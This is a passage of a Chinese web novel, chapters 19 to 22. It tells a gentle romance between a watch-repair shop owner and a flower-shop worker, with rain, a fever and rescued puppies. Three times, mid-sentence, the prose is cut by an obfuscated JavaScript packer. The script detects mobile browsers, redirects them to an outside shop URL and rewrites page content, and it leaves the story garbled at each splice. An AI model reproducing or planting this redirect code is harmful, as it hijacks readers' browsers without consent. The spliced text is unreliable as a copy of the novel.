他抬眼看向屋外,雨水落在地面晕开一圈圈水痕,偶尔有车辆驶过,车轮碾过积水,溅起一串长长的水花。 “你要是前几天跟我说就好了。” 电话那头的林小满挠了挠头,一脸茫然:“什么意思?” “没什么。”陆柏安懒得解释,话锋一转,“你平时用来拉货的板车在吧?” “在店里啊,怎么了?” “借我用会儿,拉点东西。” “你也不看现在几点了,我那店早关门了,钥匙在我身上呢。这么大雨,你要拉什么东西?” 一声清脆的鸣笛声从外面传来,陆柏安抬头,看见一辆印着“鲜切花冷链配送”的白色货车缓缓驶过自己的店门口,最后停在旁边的花店门口。 “我找梁知拿钥匙,他有你店里的备用钥匙吧?” “有倒是有……”林小满还没说完,陆柏安已经挂了电话。 他转身走到墙角,拿起把立在角落的黑色大伞走出店门。 此时的花店门口,货车司机正弯腰从车厢里搬下一个个泡沫箱,箱里装满了新鲜的花材。 梁知在一旁上前搭手,司机身上裹着厚实的雨衣,他却没穿任何防护,只穿着一件单薄的灰色短袖,额前的碎发被雨水淋得湿漉漉的,一缕缕紧紧贴在冷白的额头上。 梁知弯腰抱起一个沉甸甸的泡沫箱,胳膊刚要发力起身,手腕突然一轻,手里的箱子不知被谁从侧面接了过去。紧接着,一个温热的东西被塞进他空着的手里,下一秒,头顶的雨幕骤然消失。 他愣了一下,指尖下意识收紧,低头看去,掌心攥着的是一把黑色大伞,伞柄还带着几分残留的暖意。 一抬眼时,就看见不知何时出现的陆柏安抱着泡沫箱,高大的身影挡在他身前,步伐稳健地朝着花店里走。 19. 19 陆柏安穿了件黑色T恤,抱着泡沫箱大步往前走,步子又稳又快,可密不透风的雨丝还是追着他的背影,打湿了他的衣摆和肩头,宽阔的脊背很快洇出一片深色的湿痕。 梁知回过神来连忙把伞撑高,快步跟上去,将伞面往陆柏安那边偏了偏,堪堪罩住两人的头顶。 “陆老板。” 陆柏安侧头看他一眼,问:“梅姐呢?” “接小五放学去了。” “哦。”陆柏安脚步没停,步伐却悄然放慢了半拍,刚好能跟上梁知撑伞的节奏。 等把东西搬进店里,他转身就要折返雨幕去搬剩下的,梁知连忙出声叫住他:“陆老板,剩下的我自己来吧。” 陆柏安没应声,从旁边的置物架上抽了张干净的纸巾,抬手就按在了梁知沾着水珠的额头上,然后抬脚又迈进雨里。 梁知一手按着额角的纸巾,一手撑着伞快步跟上。两人就这样一个在前弯腰搬箱子,一个在后举着伞紧紧相随。 陆柏安刚抱着沉甸甸的泡沫箱往回走,裤兜里的手机就嗡嗡地震动起来。他想腾出一只手去掏,可怀里的箱子又沉又滑,稍一松劲就往下坠。 梁知见状开口:“我帮你吧。” 他扫了眼陆柏安身上那件紧贴脊背的黑色T恤,没看见口袋的影子。陆柏安闷声回了句:“在裤兜里。” 梁知应声,伸手探进陆柏安的裤兜。指尖刚触到温热的棉质布料,就清晰地感觉到陆柏安的身体有瞬间的紧绷,不过只持续了短短一瞬,很快又恢复如常。 电话屏幕亮着,来电显示是铁三星,陆柏安垂眸看了眼,道:“你帮我接。” 梁知按下接听键顺手开了免提。陆柏安还没来得及开口,铁三星急吼吼的声音就已经传过来:“老陆老陆完蛋了,怎么办!” 梁知一只手撑着伞,另一只手举着手机,为了让陆柏安听得更清楚,两人靠得极近,近得能他闻到陆柏安身上淡淡的雨水味混着一点干净的皂角香。 梁知稍稍拉开了一点距离,没注意到陆柏安盯着自己攥着手机的手指,声音有些心不在焉:“什么怎么办?” “我我我……我跟昨天跟小梅亲了!” 空气里有一瞬间的沉默,只有雨打伞面的沙沙声。陆柏安抱着箱子的动作微微一顿,侧头看向梁知,两人的目光撞了个正着,眼底都闪过一丝不约而同的错愕。 “这不是上回小五走丢了,她就不让她前夫去接孩子了嘛。昨天她前夫突然找上门跟她理论,两人吵得脸红脖子粗,最后不欢而散。我看她心情不好,就请她吃烧烤,顺便喝了点啤酒,结果……结果莫名其妙我就亲了她一口!我不活了,以后我怎么面对她啊?” 陆柏安沉默几秒:“她当时喝醉了吗?” “好像没有。” “你亲她的时候,她推开你了吗?” “……好像也没有。” “哦,那没事了。” “啊?不是,啥意思啊?” “字面意思。”陆柏安话音刚落,手机屏幕弹出电量过低的红色提示,屏幕亮度倏地暗下去大半,“没电了,先挂了,后面再说。” 梁知闻言,按了挂断键。 “铁三星喜欢梅姐?”他后知后觉地反应过来,怪不得平时铁三星没事就往花店里跑,三天两头找借口蹭水喝。 “嗯。”陆柏安脚步一顿,侧头看向他,“你怎么看?” “我?”梁知愣了下,想了想才回答,“挺好的。”梅姐一个人带孩子,平日里操持花店不容易,铁三星看着大大咧咧,心思却细,对梅小五也上心。听铁三星那番话,梅姐似乎也并不排斥他。 “之前看到张姐垂头丧气从棋牌室出来,我还以为他不想恋爱。”原来是早已有了喜欢的人。 陆柏安眼神沉沉的,不知道在想什么。梁知被他看得有些疑惑,刚想开口问,陆柏安却率先偏过头,漫不经心道:“听林小满说,张姐也找过你。” 梁知嗯了声,刚来快餐店干活那阵,张姐确实热心地找过他,说想给他介绍个姑娘。 “他说你不感兴趣。”陆柏安明知故问,“为什么?” “没有遇到合适的。” 陆 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184927|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柏安闻言,看向他的眼神顿时变得有些古怪。梁知反盯回去,陆柏安却又移开了目光。 “哦。” “陆老板呢?” 陆柏安将怀里的泡沫箱与之前的堆在一起,轻描淡写道:“我也是。” 梁知看着他的身影,肩背宽阔挺拔,侧脸线条利落冷硬,看着有点凶,但不可否认,长相不差。 像陆柏安这样的人,梁知不觉得没人喜欢,多半是眼光太挑。 最后一个泡沫箱子搬完,货车司机找梁知核对花材清单,等核对完签字抬头,他才发现陆柏安还没走,正靠在店门口抽烟。 “快餐店的钥匙在身上吗?”见他忙完,陆柏安掐了烟,把烟蒂扔进旁边的垃圾桶。 “在。”梁知说着,从牛仔裤口袋里摸出一把钥匙。 “借我一下,刚跟林小满打过招呼了。” 梁知没多想,递了过去。 陆柏安拿着钥匙转身就往快餐店的方向走,没过多久就拖着一辆平板拖车出来,径直走向红叶超市的方向,百乐街的快递大多都会暂存在这家超市的代收点。 他站在堆满包裹的货架前对照着取件码一个个翻找,花费了不少时间才全部找齐。 事实证明借板车是个明智的选择,十五个快递里有很多都是用飞机盒包装的,花花绿绿堆了一车,看着格外占空间,要是他空手来拿,少说也得跑两三趟。 超市老板正坐在柜台后嗑瓜子,抬眼瞧见这一幕,脸上露出惊讶的神色:“柏安,末日要来了啊?” 他平时很少见陆柏安来拿快递,还以为对方不咋喜欢网购,没想到难得看他来一回,居然堆了满满一小车。 陆柏安不解,拿个快递跟末日有什么关系,下一秒,老板手机里传出一个字正腔圆的女声。 “我重生了,重生回到末日前三天,上一世丧尸围城,我好心把食物分给闺蜜,没想到她转头就把我推出去喂丧尸。重活一世,我绝不会再让悲剧上演,先把地下室囤得满满当当,大米白面各来两百斤,汽油柴油备十桶,还有泡面、罐头、压缩饼干……” 20. 20 花店的卷帘门“哐当”一声落锁,外头的雨还没停,但不算很大,打在脸上凉丝丝的。 梁知走到出租屋楼下,昏黄的路灯晕开一圈暖光,照亮了车棚里一辆不算新的电动车,是他前两天在二手市场淘的,老板还额外送了个半旧的头盔和一件透明雨衣。 三天前随口跟用户886886扯的谎倒真给了他启发,每天六点半花店下班后,正好能跑几个小时外卖,多挣点零碎钱。 于是他当晚就上网查了流程,下载APP提交了骑手注册认证,第二天中午趁吃饭的空档去二手市场淘了辆电动车,当晚花店打烊后正式开始跑单,一跑就是三个小时。 今天是第三天,他已经不像一开始那样手忙脚乱,也摸清了附近几条容易堵车的近路。 第一单是家麻辣烫店,餐还没出。正是晚饭高峰期,店里座无虚席,他站在收银台前等着,顺手从兜里摸出一块小面包,这是昨天在超市买的临期品,还有十天过期,一袋刚好十个,每天一个当晚饭,刚好够对付。 小面包被裤兜挤得扁扁的,带着点淡淡的奶甜味。他三两口解决完,目光漫无目的地盯着自己身上还在往下滴水的雨衣,脚边积起一个小小的水洼,一滴、两滴,刚落至第三滴,老板就扬着嗓子喊了他的取餐号。他回过神,快步上前接过塑料袋。 等送完最后一单回到出租屋,时间刚好十点。他草草给陈信按完摩,又草草冲了个热水澡,收拾妥当躺到床上时,差不多十点半了。 他脑袋一沾枕头,眼皮就重得像灌了铅,意识快要沉下去的前一秒,又猛地想起还忘了件事。 他挣扎着摸过枕头下的手机,迷迷糊糊地在屏幕上敲了几个字,眼皮一合,没等看清发送成功的提示,彻底睡死过去。 陆柏安收到消息时,正对着面前摊了一床的东西犯愁,什么短裙、丝袜、细高跟凉鞋,还有些离开商品详情页他就叫不上名字的玩意儿。 前几天他问梁知要地址时,对方估计是把他当成什么变态了,隔了快半小时才回了个问号。他也没好再追问,地址没要到手,可眼下这堆东西实在不知道该怎么给出去。 他啧了一声,旁边的手机屏幕突然一亮。 zz:「晚安安」 他盯着那三个字,手差点一抖。 晚安就晚安,晚安安是什么意思?又卖上萌了。 他随手打赏了两百的礼物过去,然后点开对方的主页,今天也没更新,梁知已经断更两天了。 怎么这么没事业心? 他随手把手机往旁边一扔,只听一声轻响,像是砸到了什么硬邦邦的东西。他捡起来一看,手机底下压着一串银色链条串着白珍珠的链条。 他拎起来对着灯光晃了晃,又摸出手机翻出购物订单比对了两下,才后知后觉认出来这是条腰链。实物的质感比网上图片里看着好太多,珍珠饱满莹润,链身的纹路精致,分量沉甸甸的。 他盯着那串腰链出神,脑海里不受控制地浮现出链条被戴在它的未来主人身上的模样…… 鼻腔突然一阵温热的痒意,他下意识抬手一抹,指尖瞬间沾了点刺目的红。他愣了愣,红点越来越多,顺着指缝往下淌。 “……靠。” 鼻血擦到后半夜,鼻翼被搓得通红,一晚都没消,第二天坐在施泽的纹身店里,林小满一脸震惊地看着他:“你昨儿喝了多少?喝出酒糟鼻了都。” 陆柏安顺着台阶下,含糊地嗯了一声。 “行吧。”林小满没多怀疑,拖了张椅子在他和施泽对面坐下,直奔主题,“那咱说正事儿,三星和梅姐的事,你俩都知道吧?” 当事人铁三星没在场,林小满一副操心老大哥的架势:“现在窗户纸捅破了,铁三星那怂货现在正不知道躲在哪儿撞墙呢。咱当兄弟的得帮他一把,为了他后半辈子的幸福着想。不过虽然我看梅姐对他不算反感,但咱必须先确定好她确实也有那个意思,才能帮着推进下一步。你们俩有意见没?” 陆柏安:“没有。” 施泽:“没……” “施~~~泽~~~” 一个拖长了调子的声音突然从门外飘进来,几人循声回头,门口晃进来个黄毛少年,头顶扎了个歪歪扭扭的苹果头,嘴里咬着根棒棒糖棍子,两手正捧着手机戳戳点点。 看见店里的几人,他先是顿了一下,随即几步窜到施泽身边,二话不说就挂了上去:“饿了。” 施泽问:“想吃什么?” “鸡蛋面,要放两个蛋。” 施泽嗯了一声,伸手揽着他的腰,两人低声说着话,往纹身店后面的小厨房走去,留下陆柏安和林小满两人。 林小满半天没回过神,戳戳陆柏安的胳膊,一脸震惊:“那是谁啊?跟施泽什么关系?” 陆柏安看着那两道相携的背影,脸色变了又变,最后憋出一句:“不好说。” 今天雨停了,地面还积着湿漉漉的水洼,空气却已经恢复往日的闷热。 梁知从早上起来就有些头晕,只当是昨晚睡眠不足,修剪花枝时差点剪到手指,包花束时又错拿了包装纸,好在梅姐一整天都心不在焉,压根没功夫管他的小失误。 晚上勉强送了两单外卖,困意一阵阵涌上来,眼皮重得像坠了铅,他索性停了接单,骑着电动车慢悠悠晃回出租屋。 刚在楼下停好车准备上楼,身后突然传来一阵窸窸窣窣的响动。他回头一看,是那条小土狗,有一段时间没见过了。 他对着小狗点了下头,也不管对方看不看得懂,权当是打过招呼了,转身就打算往楼道走。没走两步,就听见身后传来轻轻的爪子扒地声,一回头,小狗果然颠颠地跟了上来。 梁知停下脚步:“今天也没吃的给你。” 小狗像是听懂了,却没停下,反而凑得更近了些。 梁知继续往前走:“别跟了。” 脚步声起,身后的爪子声也哒哒地跟着响,一步不落。刚踏上一节楼梯,小狗突然绕到他跟前,冲着他急促地汪了两声。 梁知的脚步顿住,低头看着它那双黑溜溜的眼睛,沉默了几秒,还是问:“你想带我去哪儿?” 小狗像是得了指令,立刻转身,跑两步就回头看他一眼,生怕他跟丢。梁知跟着它,七拐八绕,走到居民楼后面一个偏僻的角落,旁边是个臭水沟,飘着股浑浊的腥气,夏天的风一吹,味道更呛人了。 小狗在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184928|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个被雨淋得发软的破纸箱前停下,回头看了看梁知,又用鼻子顶了顶湿漉漉的箱壁,嘴里发出呜呜的轻哼。 梁知蹲下去,小心翼翼地掀开纸箱的一角,微微一愣,四只巴掌大的小狗崽挤在里面,闭着眼睛缩成一团,看着奄奄一息。 最小的那只被挤到了箱子边缘,小爪子蹬了蹬,发出一声细弱的呜咽。小狗立刻钻进箱子,用舌头轻轻舔了舔那只小狗崽的背,又抬头看向梁知。 梁知看着眼前的一幕,半晌才低声开口:“你生宝宝了。” 小狗轻轻汪了一声。 梁知没多想,抱起纸箱往外走。他完全不知道该怎么照顾这么小的狗崽,只能一边走一边扒拉手机搜攻略,网上说要喂羊奶。可转了一圈这一片的小超市翻遍了也没有羊奶卖,他转身又准备朝楼下去,骑电动车去县中心的连锁超市碰碰运气。 路过便民修表铺时,铺子里刚好钻出个人影。 “抱的什么?” 陆柏安的声音冷不丁响起,梁知怀里的纸箱差点晃掉。 他脚步一顿,脱口而出:“狗。” 两人对视了数秒,空气有些安静。 陆柏安走过来,弯腰往纸箱里瞥了一眼,果然看见四只缩成一团的小狗崽。再低头,梁知脚边还蹲着一只。 陆柏安看着小狗,语气一本正经:“你生的?” 对方轻轻汪了一声。 梁知问:“你认识它?” “不算。”陆柏安直起腰,“见过几次,这一片流浪狗不少,都是些没人管的。” 他又问梁知要带这一窝小狗崽去哪,梁知告知目的后问他知不知道附近哪儿有羊奶卖。 “跟我过来。” 陆柏安带着梁知停在施泽的纹身店门口,推门进去没两分钟,再出来时手里多了串钥匙。 “上车。”他指了指停在路边的摩托车。 梁知抱着纸箱坐上去,两人刚一挨近,陆柏安眸光微微一动。梁知身上怎么这么热。 没有多想,他拍了拍后座:“坐稳了。”话音落,摩托车嗡的一声启动,没几分钟停在一家门脸不大的小宠物诊所前。 陆柏安从梁知手中接过纸箱率先走进去,朝着柜台后穿着白大褂的值班店员说了些什么,店员应声接过纸箱,转身进了诊疗室,又是给小狗崽测体温,又是冲调羊奶粉。 陆柏安站在门口看了会儿才发现身边没了动静,转头一看,梁知正靠在墙壁上,头微微低着,额前的碎发垂下来,遮住了大半张脸。 他走过去:“怎么了?” 梁知摇摇头:“没事。” 跟梁知并肩站在一起,周遭只剩下诊疗室里传来的细微响动,陆柏安脑子里不受控制地回放起昨晚自己对着根腰链流鼻血的画面,突然浑身不自在。 他干咳一声:“你打算养它们?” 梁知沉默了几秒,才低声回复:“不。” “那打算怎么处理?” 身边的人半天没吭声,陆柏安觉得奇怪,转过头去。脸刚一侧,嘴角擦过一片柔软的触感,是一丝垂落的额发。 他定睛一看,梁知正歪靠在他的肩膀上,双眼紧闭,脸颊红得有些不正常。 21. 21 梁知浑身酸软得厉害,意识却还没到不省人事的地步,他只是本能地朝着身边唯一的支撑点靠过去,刚倚稳就感觉到一只带着薄茧的手掌轻轻贴上他的脸颊。 下一秒,陆柏安低沉的声音在耳边响起:“你在发烧。” 话音未落,梁知只觉一阵天旋地转,整个人已经被横抱了起来。 “诶!”值班店员眼瞅着两人要往外走,连忙出声,“你们的狗……” 陆柏安脚步没停,头也没回:“先在你们这儿放一会儿,麻烦多照看一下,我等会儿过来接它们。” 室外的风一吹,梁知昏沉的脑子稍稍清醒了些。他被陆柏安抱着快步往外走,身体跟着对方的脚步颠簸,胃里隐隐泛起一点恶心,只能哑着嗓子喊:“陆老板……” 声音又轻又飘,陆柏安压根没听见。 梁知咬了咬下唇,又喊了一声:“陆柏安。” 陆柏安的脚步顿住,垂眸看向怀里的人。 梁知微微喘气:“放我下来。” “你烧得很厉害。”陆柏安抱着他的手臂非但没松,反而收得更紧了些。 “我自己能走。” 陆柏安盯着他,僵持了两秒,终究还是松手把他放了下来。 双脚刚沾地,梁知的腿就一软,膝盖打了个弯,身子猛地往下滑。陆柏安眼疾手快,伸手一把将其搂住。 梁知缓了几秒勉强站稳:“麻烦带我去附近的诊所或者医院都行。” “嗯。” 好在这附近一百米不到,就有一家小小的社区诊所。两人并肩往前,直到走进诊所大门,梁知被陆柏安不由分说按在长椅上,温热的触感骤然抽离,他才意识到刚才一路上,陆柏安的手好像一直都没有离开过他。 他呆愣地坐着,手指抠着长椅边缘的木纹,盯着陆柏安转身走向柜台跟医生说话的背影。 诊所的老医生没一会儿拿出体温计走过来,甩了两下递过来:“夹好,五分钟。” 陆柏安伸手替他把体温计塞进腋下,又按着他的胳膊压了压,确保不会掉出来。 五分钟过得格外慢,梁知靠在椅背上,眼皮重得像坠了铅。直到老医生抽出体温计看了眼,皱着眉说:“39度2,得挂水。” 配药、扎针,冰凉的针尖刺破皮肤。 吊瓶里的液体一滴滴往下落,梁知侧头看向站陆柏安:“陆老板,麻烦你了,你先回去吧。” 陆柏安扫了他一眼,收起手机转身往外走,没一会儿就没了踪影。 梁知闭上眼睛,迷迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184929|196990||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 糊糊地打着盹,没一会儿一阵脚步声传来。他睁开眼,就见陆柏安再次出现在他面前。 一条毯子被轻轻盖在身上,陆柏安弯下腰,又掏出一只医用口罩,捏着耳挂的细绳悬在半空。 四目相对。 梁知的眼皮半耷拉着,眼尾泛着病态的红,长长的睫毛被汗水濡湿了,黏成一小簇一小簇的,微微颤动着,目光中带着点茫然。 陆柏安的动作倏地顿住,半晌才伸出手帮他把口罩的耳挂拉好,末了又用指腹压了压鼻梁处的金属条。 做完这一切,陆柏安才开口:“继续睡。”说罢坐回到梁知旁边。 梁知脑袋还是昏昏沉沉的,想睡却睡不着了,只能微微侧着头看向身边的人。 陆柏安坐姿随意,一条腿交叠在另一条腿上,正垂着眼玩手机,手指在屏幕上轻轻点击,发出细碎的声响。 梁知的视线有点模糊,看不清他手机屏幕上的内容,只看得见他握着手机的手指,骨节分明,指节微微凸起,带着几分常年劳作的粗粝感。 陆柏安像是察觉到他的目光,突然抬了下头。两人四目相对,沉默了几秒,最后还是陆柏安先移开眼。 梁知的睫毛颤了颤,湿漉漉地耷拉下来,遮住了眼底的一点恍惚。 22. 22 梁知输液足足耗了两个小时,中途陆柏安出去了一趟,再回来时,手里抱着个崭新的纸箱。箱门刚掀开一条缝,四只小狗崽就挤挤挨挨地扒着箱壁哼唧,精神头比刚才足多了。 梁知的目光落在箱子上,声音还有点哑:“花了多少钱?” 陆柏安看了他一眼,随手把宠物箱搁到旁边的空椅子上,报了个不算高的数。梁知没多问,直接转了笔钱过去,数额比陆柏安报的多了近一半。陆柏安瞥了眼收款提示,没说什么,默默点了收款。 “你打算怎么安置它们?”陆柏安问。 梁知轻轻蹭着手背上的输液贴,想了想说:“找靠谱的人领养。”他微信里加了不少兼职群,人多路子杂,总能问到愿意好好养的。说完,他抬眼看向陆柏安,补了句:“陆老板喜欢宠物吗?” “我?”陆柏安的目光落在他脸上,顿了顿,到了嘴边的“不喜欢”拐了个弯,变成一句淡淡的“还行”。 梁知点了下头,没再追问。 等输完液,梁知身上的灼痛感退了大半,人也精神了些。陆柏安骑着摩托载着他一路风驰电掣送到楼下。梁知抱着纸箱拿着老医生开的药向陆柏安道谢,等摩托车不见踪影了才转身往楼道里走。 刚推开家门,屋里就传来陈福安带着哀求的声音:“我身上唯一那点钱都给你了,真的没有那么多钱啊……” 看到梁知进门,他的脸色唰地白了,下意识就把手机往身后藏。 梁知脚步顿在门口:“爸,你在跟谁打电话?” 陈福安张了张嘴,半天没挤出话,旁边的李秀娥连忙打圆场:“知知你回来了?你抱的这是什么啊?” 梁知没接话,把怀里的纸箱箱往地上一放,声音冷了几分:“爸,你是不是欠钱了?” 陈福安连忙摆手:“没……没有的事!” 他用的是部老旧的直板机,漏音漏得厉害,听筒里的声音断断续续飘出来。梁知听不清电话那头具体在嚷什么,却能捕捉到对方凶神恶煞的语气。 他快步走过去,伸手从陈福安手里把手机抢了过来,刚放到耳边,还没来得及出声,那头已经传来一道尖利的男声。 “废话少说!那可是你亲孙子,你就一点也不管?” “佳乐怎么了?”梁知打断对方的叫嚣。 电话那头的陈迅愣了一下,随即认出了他的声音:“梁知?” “是我。” “你回来了正好!”陈迅的唾沫星子仿佛要透过听筒溅出来,“佳乐也是你侄子,虽说没有血缘关系,但也是你看着长大的。他现在生病了,你当叔叔的总不能不管吧?你这些年肯定也存了不少钱,给你个卡号,先往里面打五万块。” “他生了什么病?” 陈迅那边沉默了几秒,语气愈发烦躁不耐:“这你就不用管了,知道他生病就行了。” “没钱。”梁知声音没什么起伏,说完直接摁断了电话。 他转头看向陈福安和李秀娥,两人垂着头,手指绞着衣角,神色无措。 “你们给他拿了多少钱?” 陈福安的声音细若蚊蚋:“三千……” 梁知沉默了几秒才道:“以后别再给他了。” 陈迅这人出了名的好吃懒做,以前就总打牌输了跑来揩油,每次三五百的也就算了,没想到这次居然敢拿儿子当幌子,一开口就是五万的天价。 李秀娥嘴唇动了动,像是想说点什么,对上梁知的目光,又悻悻地摇了摇头。这时她才注意到梁知脚边跟着的小狗,还有那个纸箱里传来窸窸窣窣的哼唧声。 “知知,你带狗回来了?” “嗯,只是暂住一下。” 说是暂住,他原本以为这些小家伙至少要在家里挤上一阵子,因为当晚他在好几个兼职群发了领养信息,结果压根没人搭理。没想到第二天中午,刚巧在快餐店收空盘子时听见了陆柏安和林小满的闲聊。 陆柏安:“我记得你上次说你女朋友想养狗。” 林小满:“是啊!她过阵子生日我还想送一只当礼物。” 梁知端着托盘的动作顿了顿,恰好对上陆柏安看过来的目光。他立刻开口:“我这里有几只刚出生的小狗崽,是小土狗,你不介意的话……” “真的?不介意不介意!”林小满忙不迭摆手,“土狗才好养呢!” 梁知回去了一趟,把装着小狗的纸箱抱了下来。林小满蹲在箱子前,最后精心挑了只毛色最干净的,小心翼翼地抱在怀里。脚边的小狗妈妈突然凑过来,鼻尖蹭了蹭崽崽的脊背,低低叫了一声。 林小满摸了摸它的耳朵:“放心吧,我肯定天天给它喂好吃的,好好照顾你的宝宝。” 小狗像是听懂了,甩了甩尾巴,往后退了两步,安静地蹲在一旁。 林小满抱着小狗崽跟梁知道了好几声谢,喜滋滋地走了。梁知刚想把剩下的三只抱回去,陆柏安的声音便从身后传来:“铁三星和施泽也想养狗。” 梁知微微一愣,陆柏安已经抬脚往外走,他稳住箱子快步跟上去。 两人先去了铁三星的棋牌室,铁三星正瘫在门口的沙发上,眼睛黏在屏幕上不知道在看什么,魂都快飞了。 听见动静,他抬头瞥了一眼两人,还没来得及打招呼,陆柏安率先开口:“上次你说想养狗。” “啊?” “挑一只。”陆柏安指了指梁知怀里的箱子。 铁三星随意扫了一眼箱子里的狗崽,随手点了只。 陆柏安伸手把那只小狗崽拎了出来,塞进他怀里,丢下一句“好好照顾,别饿着”就带着梁知往外走。 铁三星抱着小狗崽懵懵地“哦”了一声,低头戳了戳小狗软乎乎的肚皮,等反应过来又“啊?”了一声,放下手机和小狗,快步追出去,街上空荡荡的,连个影子都没瞧见。 等他回到店里,一眼就看见那小狗崽的肉垫正踩着他的手机屏幕,他憋了半天删删改改的小作文,一股脑全被发了出去。 “我靠!” 另一边,梁知和陆柏安已经到了施泽的纹身店。 陆柏安言简意赅:“你上次说想养狗。” 施泽看了眼梁知,又看了眼他怀里那只半开着的纸箱,最后又看了眼陆柏安,没多说什么,径直走到箱子前打量了一番,挑了只肚子上带撮黑杂毛的小狗崽。 “多少钱?” “不要钱。” 梁知怎么也没想到事情会这么顺利,不过短短十分钟小时,四只小狗崽就只剩下最后一只。 出了纹身店,他对陆柏安说了声谢谢。 陆柏安没应声,只是侧头看了他一眼。梁知也抬眸回望,撞进他的目光里。片刻后,陆柏安才开口:“好点了?” 梁知愣了一下,才反应过来对方是在问发烧的事,嗯了一声:“好点了。”只是身体还有点酸软,今天大概率也是没法跑外卖了。 陆柏安点了下头,视线落在他怀里的纸箱上:“最后一只……” “最后一只……”梁知把那只最小的狗崽轻轻捧出来,递到陆柏安面前,“陆老板你要养吗?” “我?” “嗯。” 昨天问陆柏安喜不喜欢宠物,对方只说了句还行。梁知原本以为是客套话,可今天陆柏安主动帮着找领养人,梁知便笃定了,陆柏安其实是个爱狗人士。 陆柏安的视线从梁知掌心那团毛茸茸的小东西上缓缓移开,一路往上,最后落在对方那双琥珀色的眼睛上。他沉默了几秒,到了嘴边的“不”字绕了个弯,变成了一句:“我不会养。” 不会养,不是不想养。果然。 十分钟后,两人坐在陆柏安的修表铺里。梁知坐在椅子上微微前倾,伏案写字。陆柏安则搬了个小马扎坐在旁边,这个姿势让他看起来比梁知矮了大半截。 梁知一手点着手机百度搜索页面,一手握着笔,笔尖在纸上沙沙作响。写了几分钟,他停笔把纸递过去,上面密密麻麻记的都是养初生小狗的注意事项。 把纸给了陆柏安,他又抽了张新的,低头继续写写画画。陆柏安捏着那张纸,目光落在上面的字迹上。他只见过一次梁知的字,是第一次见面签合同的时候,只有“梁知”两个字,看不出什么。如今看着满纸工整的字迹,感觉像在看上学时班里学霸抄的笔记。 他大略扫了一遍上面的内容,抬眼看向埋首写字的人:“之后要是还有什么不懂的,我来问你?” 梁知自己也是个什么都不懂全靠百度现查的门外汉,但他还是应了声可以。 又写了十来分钟,他把纸往陆柏安那边推了推:“你觉得哪个好?” 纸上列着一串名字,什么旺财、小白、团子,都是他刚从网上扒来的,还特意在几个名字后面打了勾,标注着好养活、寓意佳之类的。 陆柏安垂眼仔细看着,梁知的目光恰巧落在他的头顶,这还是他第一次看清陆柏安完整的头顶,发茬短而密,透着淡淡的青茬,他才发现这人居然有两个发旋,紧挨在一起。小时候听李秀娥念叨过,一旋温顺二旋犟,但,陆柏安好像只是看着凶。 “这个?”陆柏安忽然抬头。 梁知睫毛轻轻颤了一下,才从打量里回过神。陆柏安接连指了几个名字都不见他应答,还以为他都不满意,直到看见他这副模样,才意识到他在出神。 “怎么了?” 梁知抬手一指,随口问:“陆老板这道疤是哪来的?” 那道疤很浅,像一道淡色的纹路,不仔细看根本瞧不出来,凑近了看,落在眉骨上,添了几分凌厉的痞气。 陆柏安抬手摸了摸眉骨,指尖擦过那道浅疤,轻描淡写地说:“高中跟人打架留的。”对方比他惨多了,脸肿得跟猪头似的,躺了一个月才消肿。 梁知没说话,陆柏安挑眉:“怎么?觉得我是混社会的,吓着了?” “没有。” 打架而已。过去十年,他产生过无数次杀人的念头,陆柏安是混社会的话,那他是什么? 梁知微微弯腰,目光落回陆柏安手里的纸:“你刚才说哪个名字?” 这个角度,陆柏安正好能看见梁知的后颈。薄薄一层皮肤绷着凸起的骨节,连细细的绒毛都看得一清二楚。他喉结动了动,有些不自然地移开眼,手指在纸面上随意一点。 “毛豆?” “嗯。”陆柏安又指了另一个,“这个是给它妈取的。” 梁知看过去——大福。 大福和毛豆就这么留在了陆柏安的修表铺。梁知走的时候,大福颠颠还地跟在他身后跑了几步,一副依依不舍的模样。 梁知到了花店,推门进去时铁三星也正巧在里面,和梅姐面对面站着。两人脸上都泛着不正常的红晕,见他进来,他们像是被烫到一般猛地弹开,铁三星慌忙往后退了半步,差点撞到身后的花架。 “那……我先走了。”他站稳后,尴尬地挠了挠头。 梅姐点点头。 铁三星转身路过梁知身边,脚步虚浮地跟他打了个招呼:“走了啊小梁,谢谢你的小狗。” 说完,他便同手同脚地快步溜出了花店,活像身后有什么在追。梁知看着他的背影,又转头看向梅姐,眉头微蹙:“梅姐,你脸好红。” 梅姐抬手扇了扇风,语气有些慌乱:“哎呀,今天太热了,闷得慌。” 梁知心里掠过一丝疑惑,口袋里的手机震了震,拿出来一看,是陆柏安发来的消息,要他记得去输液。 